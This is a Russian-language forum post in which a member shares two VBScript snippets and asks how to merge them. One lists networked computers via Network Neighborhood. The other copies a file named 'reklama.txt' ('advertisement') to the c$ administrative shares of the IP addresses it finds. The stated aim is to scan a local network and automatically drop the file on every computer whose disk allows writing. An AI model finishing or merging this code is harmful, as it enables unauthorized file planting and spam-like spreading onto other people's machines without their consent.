TYMAH3003
Member | Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
а разве 255.,,,
192.168.111.122 думаю всё же их больше , в разы,,,,,,,,, я 0 в vbs,,.
Вот что я нарыл только не всё работает,.. нужно исправить что -то
Название темы звучало так "Перебор компьютеров в лок. сети через "Сетевое окружение""
В конце работы скрипта появляются имена локальных компов "Comp1", "Comp2" домены их,,,,,,,может это возможно использывать ,,,,,,. скрипт работает около 40 сек то есть идёт сканирование! ,,,то есть домен есть осталось проверить диски на разрешение копирывания в данном домене,,,. или автоматом делать копирывание файла на диски и где есть доступ файл скопируется...
Код: Set Shell = CreateObject("Shell.Application")
'получение папки "Сетевое окружение"
Set objFolder = Shell.NameSpace("::{208D2C60-3AEA-1069-A2D7-08002B30309D}")
'получение папки "Вся сеть"
Set objFolder = objFolder.Items().Item("EntireNetwork").GetFolder
'получение папки "Microsoft Windows Network"
For Each objItem In objFolder.Items()
If objItem.Name = "Microsoft Windows Network" Then
Set objFolderNetwork = objItem.GetFolder
End If
Next
'перебор доменов и рабочих групп
For Each objItem In objFolderNetwork.Items()
If objItem.IsFolder Then
Set objFolder = objItem.GetFolder
'перебор компьютеров
For Each objSubItem In objFolder.Items()
WScript.Echo objSubItem.Name
Next
End If
Next |
При запуске скрипта файл reklama.txt копируется на дист С и на этом работа скрипта заканчивается,. а сканирование сети и получение ип адреса,, работа долгая)),,
Код:
set objwmi = getobject("winmgmts:\\.\root\cimv2")
set ips = objwmi.execquery _
("select * from win32_networkadapterconfiguration where ipenabled=true")
set fso = createobject("scripting.filesystemobject")
for each ip in ips
if not isnull(ip.ipaddress) then
for i=lbound(ip.ipaddress) to ubound(ip.ipaddress)
fso.copyfile "D:\reklama.txt", "\\" & ip.ipaddress(i) & "\c$\"
next
end if
next
|
А вот всё подкорректировать и объединить никак не выходит |
